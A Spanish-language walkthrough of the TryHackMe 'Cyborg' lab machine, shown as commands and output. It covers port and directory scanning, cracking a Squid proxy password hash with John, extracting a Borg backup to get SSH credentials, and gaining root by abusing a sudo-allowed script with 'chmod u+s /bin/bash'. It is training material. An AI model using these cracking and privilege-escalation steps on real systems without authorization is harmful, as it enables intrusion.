This page looks best with JavaScript enabled

TryHackMe - Cyborg

 •  ✍️ sckull

Cyborg es una maquina de TryHackMe, encontramos un backup creado con Borg, obtuvimos la contraseña enumerando la pagina web, dentro del backup encontramos las credenciales las cuales utilizamos en SSH. Para escalar privilegios analizamos un script el cual nos permitio dar permisos SUID a bash.

Room

Titulo Cyborg box_img_maker
Descripción A box involving encrypted archives, source code analysis and more.
Puntos 300
Dificultad Facil
Maker

fieldraccoon

NMAP

Escaneo de puertos con nmap nos muestra el puerto http (80) y el puerto ssh (22) abiertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# Nmap 7.80 scan initiated Thu Feb  4 13:54:10 2021 as: nmap --min-rate 1000 -p- -T4 -oN portScan cyborg.thm
Warning: 10.10.158.178 giving up on port because retransmission cap hit (6).
Nmap scan report for cyborg.thm (10.10.158.178)
Host is up (0.31s latency).
Not shown: 59101 closed ports, 6432 filtered ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Thu Feb  4 13:57:01 2021 -- 1 IP address (1 host up) scanned in 171.33 seconds

# Nmap 7.80 scan initiated Thu Feb  4 14:11:21 2021 as: nmap -sV -sC -oN serviceScan cyborg.thm
Nmap scan report for cyborg.thm (10.10.158.178)
Host is up (0.28s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 db:b2:70:f3:07:ac:32:00:3f:81:b8:d0:3a:89:f3:65 (RSA)
|   256 68:e6:85:2f:69:65:5b:e7:c6:31:2c:8e:41:67:d7:ba (ECDSA)
|_  256 56:2c:79:92:ca:23:c3:91:49:35:fa:dd:69:7c:ca:ab (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Feb  4 14:12:25 2021 -- 1 IP address (1 host up) scanned in 64.42 seconds

RUSTBUSTER - HTTP

Encontramos el index de apache en el puerto 80, utilizamos rustbuster para busqueda de directorios y archivos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
~ rustbuster v3.0.3 ~ by phra & ps1dr3x ~

         _     _                 _         _           _        _                 _         _           _           _     
        /\ \  /\_\              / /\      /\ \        / /\     /\_\              / /\      /\ \        /\ \        /\ \   
       /  \ \/ / /         _   / /  \     \_\ \      / /  \   / / /         _   / /  \     \_\ \      /  \ \      /  \ \  
      / /\ \ \ \ \__      /\_\/ / /\ \__  /\__ \    / / /\ \  \ \ \__      /\_\/ / /\ \__  /\__ \    / /\ \ \    / /\ \ \ 
     / / /\ \_\ \___\    / / / / /\ \___\/ /_ \ \  / / /\ \ \  \ \___\    / / / / /\ \___\/ /_ \ \  / / /\ \_\  / / /\ \_\
    / / /_/ / /\__  /   / / /\ \ \ \/___/ / /\ \ \/ / /\ \_\ \  \__  /   / / /\ \ \ \/___/ / /\ \ \/ /_/_ \/_/ / / /_/ / /
   / / /__\/ / / / /   / / /  \ \ \    / / /  \/_/ / /\ \ \___\ / / /   / / /  \ \ \    / / /  \/_/ /____/\   / / /__\/ / 
  / / /_____/ / / /   / / _    \ \ \  / / /     / / /  \ \ \__// / /   / / _    \ \ \  / / /     / /\____\/  / / /_____/  
 / / /\ \ \  / / /___/ / /_/\__/ / / / / /     / / /____\_\ \ / / /___/ / /_/\__/ / / / / /     / / /______ / / /\ \ \    
/ / /  \ \ \/ / /____\/ /\ \/___/ / /_/ /     / / /__________/ / /____\/ /\ \/___/ / /_/ /     / / /_______/ / /  \ \ \   
\/_/    \_\/\/_________/  \_____\/  \_\/      \/_____________\/_________/  \_____\/  \_\/      \/__________\/_/    \_\/   


[?] Started at	: 2021-02-04 14:13:58

GET	200 OK				http://cyborg.thm/
GET     301 Moved Permanently           http://cyborg.thm/admin
						=> http://cyborg.thm/admin/
GET     301 Moved Permanently           http://cyborg.thm/etc
						=> http://cyborg.thm/etc/
GET     200 OK                          http://cyborg.thm/index.html
GET     403 Forbidden                   http://cyborg.thm/server-status

[?] Ended at: 2021-02-04 14:22:05

Encontramos una pagina web que parece ser estatica, además vemos un nombre Alex (posible usuario) en la descripcion de Setup.

BORG > ALEX (USER)

Encontramos lo que parece ser un chat en la pagina donde vemos dos nuevos nombres Josh, Adam, y donde Alex menciona sobre algun tipo de proxy y que tiene un backup en music_archive.

Además vemos un archivo tar en el menu Archive > Download, el cual descargamos y analizamos. Encontramos archivos los cuales parecen ser archivos creados con BorgBackup, pero al intentar obtener estos archivos borg pide una frase la cual no tenemos por ahora.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
kali@kali:~/thm/cyborg$ tar -xvf archive.tar 
home/field/dev/final_archive/
home/field/dev/final_archive/hints.5
home/field/dev/final_archive/integrity.5
home/field/dev/final_archive/config
home/field/dev/final_archive/README
home/field/dev/final_archive/nonce
home/field/dev/final_archive/index.5
home/field/dev/final_archive/data/
home/field/dev/final_archive/data/0/
home/field/dev/final_archive/data/0/5
home/field/dev/final_archive/data/0/3
home/field/dev/final_archive/data/0/4
home/field/dev/final_archive/data/0/1
kali@kali:~/thm/cyborg/home/field/dev/final_archive$ file *
config:      ASCII text
data:        directory
hints.5:     data
index.5:     data
integrity.5: data
nonce:       ASCII text, with no line terminators
README:      ASCII text
kali@kali:~/thm/cyborg/home/field/dev/final_archive$ cat README 
This is a Borg Backup repository.
See https://borgbackup.readthedocs.io/
kali@kali:~/thm/cyborg/home/field/dev/final_archive$

Anteriormente Rustubuster encontro un directorio (/etc/) al cual se le realizó una busqueda nueva, donde encontramos un nuevo directorio que contiene un archivo con una contraseña y un archivo de configuracion de lo que parece ser un “proxy”. Utilizamos John para obtener la contraseña en texto plano.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
~ rustbuster v3.0.3 ~ by phra & ps1dr3x ~

         _     _                 _         _           _        _                 _         _           _           _     
        /\ \  /\_\              / /\      /\ \        / /\     /\_\              / /\      /\ \        /\ \        /\ \   
       /  \ \/ / /         _   / /  \     \_\ \      / /  \   / / /         _   / /  \     \_\ \      /  \ \      /  \ \  
      / /\ \ \ \ \__      /\_\/ / /\ \__  /\__ \    / / /\ \  \ \ \__      /\_\/ / /\ \__  /\__ \    / /\ \ \    / /\ \ \ 
     / / /\ \_\ \___\    / / / / /\ \___\/ /_ \ \  / / /\ \ \  \ \___\    / / / / /\ \___\/ /_ \ \  / / /\ \_\  / / /\ \_\
    / / /_/ / /\__  /   / / /\ \ \ \/___/ / /\ \ \/ / /\ \_\ \  \__  /   / / /\ \ \ \/___/ / /\ \ \/ /_/_ \/_/ / / /_/ / /
   / / /__\/ / / / /   / / /  \ \ \    / / /  \/_/ / /\ \ \___\ / / /   / / /  \ \ \    / / /  \/_/ /____/\   / / /__\/ / 
  / / /_____/ / / /   / / _    \ \ \  / / /     / / /  \ \ \__// / /   / / _    \ \ \  / / /     / /\____\/  / / /_____/  
 / / /\ \ \  / / /___/ / /_/\__/ / / / / /     / / /____\_\ \ / / /___/ / /_/\__/ / / / / /     / / /______ / / /\ \ \    
/ / /  \ \ \/ / /____\/ /\ \/___/ / /_/ /     / / /__________/ / /____\/ /\ \/___/ / /_/ /     / / /_______/ / /  \ \ \   
\/_/    \_\/\/_________/  \_____\/  \_\/      \/_____________\/_________/  \_____\/  \_\/      \/__________\/_/    \_\/   


[?] Started at  : 2021-02-04 15:29:29

GET 200 OK        http://cyborg.thm/etc/
GET     403 Forbidden                   http://cyborg.thm/etc/.html
GET     301 Moved Permanently           http://cyborg.thm/etc/squid
            => http://cyborg.thm/etc/squid/
[... REDACTED ...]
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# HASH
# music_archive:$apr1$BpZ.Q.1m$F0qqPwHSOG50URuOVQTTn.
kali@kali:~/thm/cyborg$ john hash --wordlist=/usr/share/wordlists/rockyou.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
[... REDACTED ...]        (music_archive)
1g 0:00:00:00 DONE (2021-02-04 15:45) 4.347g/s 169460p/s 169460c/s 169460C/s 112806..samantha5
Use the "--show" option to display all of the cracked passwords reliably
Session completed
kali@kali:~/thm/cyborg$
1
2
3
4
5
6
7
#squid.conf
auth_param basic program /usr/lib64/squid/basic_ncsa_auth /etc/squid/passwd
auth_param basic children 5
auth_param basic realm Squid Basic Authentication
auth_param basic credentialsttl 2 hours
acl auth_users proxy_auth REQUIRED
http_access allow auth_users

Configuramos la contraseña encontrada como frase de BORG, listamos los archivos en el repositorio y encontramos music_archive el cual logramos extraer. El backup music_archive pertenece a la carpeta principal de alex donde encontramos su usuario y contraseña.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
kali@kali:~/thm/cyborg/home/field/dev/final_archive$ export BORG_PASSPHRASE='[... REDACTED ...]'
kali@kali:~/thm/cyborg/home/field/dev/final_archive$ /home/kali/tools/borg/borg-linux64 list .
music_archive                        Tue, 2020-12-29 09:00:38 [f789ddb6b0ec108d130d16adebf5713c29faf19c44cad5e1eeb8ba37277b1c82]
kali@kali:~/thm/cyborg/home/field/dev/final_archive$ /home/kali/tools/borg/borg-linux64 extract .::music_archive
kali@kali:~/thm/cyborg/home/field/dev/final_archive$ tree home/
home/
└── alex
    ├── Desktop
    │   └── secret.txt
    ├── Documents
    │   └── note.txt
    ├── Downloads
    ├── Music
    ├── Pictures
    ├── Public
    ├── Templates
    └── Videos

9 directories, 2 files
kali@kali:~/thm/cyborg/home/field/dev/final_archive$ cat home/alex/Documents/note.txt 
Wow I'm awful at remembering Passwords so I've taken my Friends advice and noting them down!

alex:[... REDACTED ...]
kali@kali:~/thm/cyborg/home/field/dev/final_archive$

Utilizando dichas credenciales en el servicio SSH logramos obtener una shell y nuestra flag user.txt.

PRIVILEGE ESCALATION

Hacemos una pequeña enumeracion con sudo -l -l y vemos que tenemos permisos sudo (root) para ejecutar el script /etc/mp3backups/backup.sh. Dicho script realiza una busqueda de archivos mp3 los cuales se escriben en un archivo, tambien realiza un backup de los archivos descritos en la variable backup_files utilizando tar, además de eso durante su ejecucion verifica las “flags” que se le pasan al script en este caso seria -c utilizando getopts y al finalizar se ejecuta los parametros/comandos que se le pasan a -c, es decir /etc/mp3backups/backup.sh -c COMANDO.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/bin/bash

sudo find / -name "*.mp3" | sudo tee /etc/mp3backups/backed_up_files.txt

input="/etc/mp3backups/backed_up_files.txt"
#while IFS= read -r line
#do
  #a="/etc/mp3backups/backed_up_files.txt"
#  b=$(basename $input)
  #echo
#  echo "$line"
#done < "$input"

while getopts c: flag
do
	case "${flag}" in 
		c) command=${OPTARG};;
	esac
done

backup_files="/home/alex/Music/song1.mp3 /home/alex/Music/song2.mp3 /home/alex/Music/song3.mp3 /home/alex/Music/song4.mp3 /home/alex/Music/song5.mp3 /home/alex/Music/song6.mp3 /home/alex/Music/song7.mp3 /home/alex/Music/song8.mp3 /home/alex/Music/song9.mp3 /home/alex/Music/song10.mp3 /home/alex/Music/song11.mp3 /home/alex/Music/song12.mp3"

# Where to backup to.
dest="/etc/mp3backups/"

# Create archive filename.
hostname=$(hostname -s)
archive_file="$hostname-scheduled.tgz"

# Print start status message.
echo "Backing up $backup_files to $dest/$archive_file"

echo

# Backup the files using tar.
tar czf $dest/$archive_file $backup_files

# Print end status message.
echo
echo "Backup finished"

cmd=$($command)
echo $cmd

Realizamo la ejecucion de bash (-c bash) pero la shell esta obsoleta, al ejecutar varios comandos no se muestran, solo lo hacen al salir de la shell. Por lo que le dimos permisos SUID a /bin/bash, luego de esto ejecutamos bash -p con el usuario Alex, lo que nos permitio obtener una shell root y nuestra flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
alex@ubuntu:~$ sudo /etc/mp3backups/backup.sh -c 'chmod u+s /bin/bash'
/home/alex/Music/image12.mp3
[... REDACTED ...]

Backup finished

alex@ubuntu:~$ bash -p
bash-4.3# whoami; id; pwd
root
uid=1000(alex) gid=1000(alex) euid=0(root) groups=1000(alex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
/home/alex
bash-4.3# exit
exit
alex@ubuntu:~$ bash -p
bash-4.3# ls /root
root.txt
bash-4.3# cd /root
bash-4.3# ls -lah
total 36K
drwx------  4 root root 4.0K Dec 30 02:27 .
drwxr-xr-x 24 root root 4.0K Dec 30 13:36 ..
-rw-------  1 root root 2.9K Dec 31 10:50 .bash_history
-rw-r--r--  1 root root 3.1K Oct 22  2015 .bashrc
drwx------  2 root root 4.0K Aug  6 15:50 .cache
drwxr-xr-x  2 root root 4.0K Dec 30 01:42 .nano
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-r-xr--r--  1 root root   43 Dec 30 02:26 root.txt
-rw-r--r--  1 root root   66 Dec 30 02:13 .selected_editor
bash-4.3# cat root.txt
flag{[... REDACTED ...]}
bash-4.3#

Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe